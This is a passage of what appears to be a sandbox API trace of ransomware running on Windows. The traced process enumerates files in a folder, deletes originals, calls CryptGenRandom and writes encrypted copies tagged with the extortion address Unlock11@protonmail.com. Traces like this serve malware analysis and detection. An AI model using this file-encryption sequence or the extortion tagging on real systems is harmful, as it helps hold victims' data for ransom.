lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.294] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.294] GetLastError () returned 0x0 [0114.294] GetCurrentThreadId () returned 0x9b0 [0114.294] GetLastError () returned 0x0 [0114.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d38 | out: hHeap=0x2ad0000) returned 1 [0114.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a28d8 | out: hHeap=0x2ad0000) returned 1 [0114.294] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0114.294] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0114.294] GetLastError () returned 0x0 [0114.294] GetLastError () returned 0x0 [0114.294] GetCurrentThreadId () returned 0x9b0 [0114.295] GetLastError () returned 0x0 [0114.295] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.295] GetLastError () returned 0x0 [0114.295] GetLastError () returned 0x0 [0114.295] GetCurrentThreadId () returned 0x9b0 [0114.295] GetLastError () returned 0x0 [0114.295] GetLastError () returned 0x0 [0114.297] GetLastError () returned 0x0 [0114.297] GetCurrentThreadId () returned 0x9b0 [0114.297] GetLastError () returned 0x0 [0114.297] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c48 | out: hHeap=0x2ad0000) returned 1 [0114.297] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.298] GetCurrentThreadId () returned 0x9b0 [0114.298] GetLastError () returned 0x0 [0114.298] GetLastError () returned 0x0 [0114.298] GetLastError () returned 0x0 [0114.298] GetLastError () returned 0x0 [0114.298] GetCurrentThreadId () returned 0x9b0 [0114.298] GetLastError () returned 0x0 [0114.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.298] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0114.298] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.299] GetLastError () returned 0x0 [0114.300] GetLastError () returned 0x0 [0114.300] GetCurrentThreadId () returned 0x9b0 [0114.300] GetLastError () returned 0x0 [0114.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.301] GetLastError () returned 0x0 [0114.301] GetLastError () returned 0x0 [0114.301] GetCurrentThreadId () returned 0x9b0 [0114.301] GetLastError () returned 0x0 [0114.301] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x51bf) returned 0x36f8548 [0114.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.301] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x51c5) returned 0x36f8548 [0114.301] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c28 [0114.301] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cd8 | out: hHeap=0x2ad0000) returned 1 [0114.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x51c8) returned 0x3887a10 [0114.302] GetCurrentThreadId () returned 0x9b0 [0114.302] GetLastError () returned 0x0 [0114.302] GetLastError () returned 0x0 [0114.302] GetLastError () returned 0x0 [0114.302] GetLastError () returned 0x0 [0114.302] GetCurrentThreadId () returned 0x9b0 [0114.302] GetLastError () returned 0x0 [0114.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.302] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0114.302] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.303] GetLastError () returned 0x0 [0114.303] GetLastError () returned 0x0 [0114.303] GetCurrentThreadId () returned 0x9b0 [0114.303] GetLastError () returned 0x0 [0114.303] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388cbe0 | out: hHeap=0x2ad0000) returned 1 [0114.303] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.303] GetLastError () returned 0x0 [0114.303] GetLastError () returned 0x0 [0114.303] GetCurrentThreadId () returned 0x9b0 [0114.304] GetLastError () returned 0x0 [0114.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.304] GetLastError () returned 0x0 [0114.304] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.304] CloseHandle (hObject=0x3ac) returned 1 [0114.304] GetLastError () returned 0x0 [0114.304] GetCurrentThreadId () returned 0x9b0 [0114.304] GetLastError () returned 0x0 [0114.305] GetLastError () returned 0x0 [0114.305] CloseHandle (hObject=0x39c) returned 1 [0114.305] GetLastError () returned 0x0 [0114.305] GetCurrentThreadId () returned 0x9b0 [0114.305] GetLastError () returned 0x0 [0114.305] GetLastError () returned 0x0 [0114.305] GetLastError () returned 0x0 [0114.305] GetLastError () returned 0x0 [0114.305] GetLastError () returned 0x0 [0114.305] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0114.307] GetLastError () returned 0x0 [0114.307] GetCurrentThreadId () returned 0x9b0 [0114.307] GetLastError () returned 0x0 [0114.307] GetCurrentThreadId () returned 0x9b0 [0114.307] GetLastError () returned 0x0 [0114.307] GetLastError () returned 0x0 [0114.307] GetLastError () returned 0x0 [0114.307] GetLastError () returned 0x0 [0114.307] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1038\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.307] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.308] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0114.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0114.308] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.308] GetCurrentThreadId () returned 0x9b0 [0114.308] GetLastError () returned 0x0 [0114.308] GetLastError () returned 0x0 [0114.308] GetLastError () returned 0x0 [0114.308] GetLastError () returned 0x0 [0114.308] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7410 [0114.308] GetLastError () returned 0x0 [0114.309] GetCurrentThreadId () returned 0x9b0 [0114.309] GetLastError () returned 0x0 [0114.309] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.309] GetLastError () returned 0x0 [0114.309] GetCurrentThreadId () returned 0x9b0 [0114.309] GetLastError () returned 0x0 [0114.309] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.309] GetLastError () returned 0x0 [0114.309] GetCurrentThreadId () returned 0x9b0 [0114.309] GetLastError () returned 0x0 [0114.309] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.309] GetLastError () returned 0x0 [0114.309] GetCurrentThreadId () returned 0x9b0 [0114.310] GetLastError () returned 0x0 [0114.310] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.310] GetLastError () returned 0x0 [0114.310] GetCurrentThreadId () returned 0x9b0 [0114.310] GetLastError () returned 0x0 [0114.310] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.310] GetLastError () returned 0x12 [0114.310] GetCurrentThreadId () returned 0x9b0 [0114.310] GetLastError () returned 0x12 [0114.310] GetLastError () returned 0x12 [0114.310] FindClose (in: hFindFile=0x10f7410 | out: hFindFile=0x10f7410) returned 1 [0114.310] GetCurrentThreadId () returned 0x9b0 [0114.310] GetLastError () returned 0x12 [0114.311] GetLastError () returned 0x12 [0114.311] GetLastError () returned 0x12 [0114.311] GetLastError () returned 0x12 [0114.311] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.311] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1040\\eula.rtf")) returned 0x80 [0114.312] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0114.312] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0114.312] GetLastError () returned 0x12 [0114.312] GetLastError () returned 0x12 [0114.312] GetLastError () returned 0x12 [0114.312] GetLastError () returned 0x12 [0114.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.313] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 0x80 [0114.313] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0114.313] GetCurrentThreadId () returned 0x9b0 [0114.313] GetLastError () returned 0x12 [0114.313] GetLastError () returned 0x12 [0114.313] GetLastError () returned 0x12 [0114.314] GetLastError () returned 0x12 [0114.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.314] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0114.314] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0114.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0114.315] GetLastError () returned 0x12 [0114.315] GetLastError () returned 0x12 [0114.315] GetLastError () returned 0x12 [0114.315] GetLastError () returned 0x12 [0114.315] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1040\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.315] GetCurrentThreadId () returned 0x9b0 [0114.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0114.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0114.315] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.315] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.316] GetLastError () returned 0x12 [0114.316] GetLastError () returned 0x12 [0114.316] GetLastError () returned 0x12 [0114.316] GetLastError () returned 0x12 [0114.316] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.316] GetCurrentThreadId () returned 0x9b0 [0114.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0114.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0114.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0114.316] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.316] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce30 [0114.316] GetCurrentThreadId () returned 0x9b0 [0114.317] GetLastError () returned 0x0 [0114.317] GetLastError () returned 0x0 [0114.317] GetLastError () returned 0x0 [0114.317] GetLastError () returned 0x0 [0114.317] GetCurrentThreadId () returned 0x9b0 [0114.317] GetLastError () returned 0x0 [0114.317] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce30 | out: hHeap=0x2ad0000) returned 1 [0114.317] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce30 [0114.317] GetLastError () returned 0x0 [0114.317] GetLastError () returned 0x0 [0114.317] GetLastError () returned 0x0 [0114.317] GetLastError () returned 0x0 [0114.318] GetCurrentThreadId () returned 0x9b0 [0114.318] GetLastError () returned 0x0 [0114.318] GetCurrentThreadId () returned 0x9b0 [0114.318] GetLastError () returned 0x0 [0114.318] GetLastError () returned 0x0 [0114.318] GetLastError () returned 0x0 [0114.318] GetLastError () returned 0x0 [0114.318] GetCurrentThreadId () returned 0x9b0 [0114.318] GetLastError () returned 0x0 [0114.318] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce30 | out: hHeap=0x2ad0000) returned 1 [0114.318] GetLastError () returned 0x0 [0114.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0114.319] GetLastError () returned 0x0 [0114.319] GetLastError () returned 0x0 [0114.319] GetLastError () returned 0x0 [0114.319] GetCurrentThreadId () returned 0x9b0 [0114.319] GetLastError () returned 0x0 [0114.319] GetLastError () returned 0x0 [0114.319] GetLastError () returned 0x0 [0114.319] GetLastError () returned 0x0 [0114.319] GetLastError () returned 0x0 [0114.319] GetCurrentThreadId () returned 0x9b0 [0114.319] GetLastError () returned 0x0 [0114.319] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0114.320] GetCurrentThreadId () returned 0x9b0 [0114.320] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc)) returned 1 [0114.320] GetCurrentThreadId () returned 0x9b0 [0114.320] GetCurrentThreadId () returned 0x9b0 [0114.320] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366441c | out: pbBuffer=0x366441c) returned 1 [0114.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0114.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0114.320] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0114.320] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf70 [0114.321] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.321] GetFileType (hFile=0x39c) returned 0x1 [0114.321] GetFileType (hFile=0x39c) returned 0x1 [0114.321] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.321] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.321] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.321] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.321] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.321] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.321] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.322] GetLastError () returned 0x0 [0114.322] GetLastError () returned 0x0 [0114.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d18 | out: hHeap=0x2ad0000) returned 1 [0114.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0114.322] GetLastError () returned 0x0 [0114.322] GetLastError () returned 0x0 [0114.322] GetLastError () returned 0x0 [0114.322] GetLastError () returned 0x0 [0114.322] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.322] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d18 [0114.322] GetLastError () returned 0x0 [0114.323] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.324] GetFileType (hFile=0x3ac) returned 0x1 [0114.324] GetLastError () returned 0x0 [0114.324] GetLastError () returned 0x0 [0114.324] GetFileType (hFile=0x3ac) returned 0x1 [0114.324] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.324] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.325] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.325] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.325] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.325] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.325] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.325] GetLastError () returned 0x0 [0114.325] GetLastError () returned 0x0 [0114.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d18 | out: hHeap=0x2ad0000) returned 1 [0114.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2568 | out: hHeap=0x2ad0000) returned 1 [0114.325] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0114.325] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0114.325] GetLastError () returned 0x0 [0114.326] GetLastError () returned 0x0 [0114.326] GetLastError () returned 0x0 [0114.326] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0114.326] GetLastError () returned 0x0 [0114.326] GetLastError () returned 0x0 [0114.326] GetLastError () returned 0x0 [0114.326] GetLastError () returned 0x0 [0114.328] GetLastError () returned 0x0 [0114.328] GetLastError () returned 0x0 [0114.328] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d08 | out: hHeap=0x2ad0000) returned 1 [0114.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.329] GetLastError () returned 0x0 [0114.329] GetLastError () returned 0x0 [0114.329] GetLastError () returned 0x0 [0114.329] GetLastError () returned 0x0 [0114.329] GetLastError () returned 0x0 [0114.329] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.329] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0114.330] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.330] GetLastError () returned 0x0 [0114.331] GetLastError () returned 0x0 [0114.331] GetLastError () returned 0x0 [0114.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.332] GetLastError () returned 0x0 [0114.332] GetLastError () returned 0x0 [0114.332] GetLastError () returned 0x0 [0114.332] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x38d1) returned 0x36f8548 [0114.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.332] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x38d5) returned 0x36f8548 [0114.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d38 [0114.332] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6cc8 | out: hHeap=0x2ad0000) returned 1 [0114.332] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38d8) returned 0x3887a10 [0114.333] GetCurrentThreadId () returned 0x9b0 [0114.333] GetLastError () returned 0x0 [0114.333] GetLastError () returned 0x0 [0114.333] GetLastError () returned 0x0 [0114.333] GetLastError () returned 0x0 [0114.333] GetCurrentThreadId () returned 0x9b0 [0114.333] GetLastError () returned 0x0 [0114.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0114.333] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0114.333] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0114.333] GetLastError () returned 0x0 [0114.334] GetLastError () returned 0x0 [0114.334] GetCurrentThreadId () returned 0x9b0 [0114.334] GetLastError () returned 0x0 [0114.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x388b2f0 | out: hHeap=0x2ad0000) returned 1 [0114.334] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.334] GetLastError () returned 0x0 [0114.334] GetLastError () returned 0x0 [0114.334] GetCurrentThreadId () returned 0x9b0 [0114.334] GetLastError () returned 0x0 [0114.334] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.335] GetLastError () returned 0x0 [0114.335] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0114.335] CloseHandle (hObject=0x3ac) returned 1 [0114.335] GetLastError () returned 0x0 [0114.335] GetCurrentThreadId () returned 0x9b0 [0114.335] GetLastError () returned 0x0 [0114.335] GetLastError () returned 0x0 [0114.335] CloseHandle (hObject=0x39c) returned 1 [0114.336] GetLastError () returned 0x0 [0114.336] 